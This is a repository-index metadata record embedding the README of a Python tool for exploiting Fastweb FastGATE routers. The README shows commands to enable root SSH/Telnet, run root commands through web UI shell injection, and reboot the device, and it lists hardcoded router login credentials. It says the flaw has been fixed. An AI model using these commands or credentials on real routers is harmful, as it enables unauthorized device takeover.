{"id":20368377,"url":"https://github.com/depau/fastgate-python","last_synced_at":"2025-06-13T07:34:46.628Z","repository":{"id":72603488,"uuid":"129275707","full_name":"depau/fastgate-python","owner":"depau","description":"Python tools for Fastweb FastGATE exploits","archived":false,"fork":false,"pushed_at":"2018-09-11T20:21:48.000Z","size":25,"stargazers_count":14,"open_issues_count":1,"forks_count":2,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-04-12T05:39:02.785Z","etag":null,"topics":["exploit","pwn","python","router"],"latest_commit_sha":null,"homepage":"https://github.com/Nimayer/fastgate-toolkit/wiki","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/depau.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-04-12T15:50:01.000Z","updated_at":"2025-02-17T08:57:15.000Z","dependencies_parsed_at":"2023-05-24T15:45:39.107Z","dependency_job_id":null,"html_url":"https://github.com/depau/fastgate-python","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/depau/fastgate-python","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/depau%2Ffastgate-python","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/depau%2Ffastgate-python/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/depau%2Ffastgate-python/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/depau%2Ffastgate-python/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/depau","download_url":"https://codeload.github.com/depau/fastgate-python/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/depau%2Ffastgate-python/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259602848,"owners_count":22883056,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","pwn","python","router"],"created_at":"2024-11-15T00:40:48.149Z","updated_at":"2025-06-13T07:34:46.602Z","avatar_url":"https://github.com/depau.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# FastGATE Python tool\nSee wiki for more info: https://github.com/Nimayer/fastgate-toolkit/wiki\n\n## Note\n\n**The vulnerability exploited by this program has been fixed. While we've found many more vulnerabilities and exploited them, we will NOT release the exploits until they're fixed.**\n\nPython tools for Fastweb FastGATE exploits.\n\n```\nUsage: fastgate [OPTIONS] COMMAND [ARGS]...\n\nOptions:\n  -h, --host TEXT     IP address or hostname\n  -p, --port INTEGER  HTTP port\n  --help              Show this message and exit.\n\nCommands:\n  check_login  Check web UI authentication.\n  get_root     Attempt to enable access to SSH/Telnet.\n  reboot       Reboot router.\n  shell        Run command on router with shell injection...\n```\n\n## Installation\n\n```sh\npip install https://github.com/Depau/fastgate-python/archive/master.zip\n```\n\n## Usage\n\n#### Enable SSH and Telnet from local network:\n\n```sh\nfastgate get_root\n```\nYou can then SSH to the router. Log in as `lanadmin`, `lanpasswd`.\n\nIn the router's custom shell, run the `sh` hidden command and log in as `lanadmin`, `lanpasswd` or `FASTGate`, `Testplant123` to get a root shell.\n\n#### Reboot router\n\n```sh\nfastgate reboot\n```\n\n#### Run command as root on router (uses web UI shell injection, no output)\n\n```sh\nfastgate shell (command)\n# i.e.\nfastgate shell /usr/sbin/rc_task firewall restart\nfastgate shell /usr/sbin/rc_task sshd restart\n```\n\n#### Check web UI login\n\n```sh\nfastgate check_login --u username -p password\n```\nor simply\n```sh\nfastgate check_login\n```\n(you will be prompted for login info)\n\n# Credits\n\n- @Nimayer https://github.com/Nimayer/fastgate-toolkit\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdepau%2Ffastgate-python","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdepau%2Ffastgate-python","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdepau%2Ffastgate-python/lists"}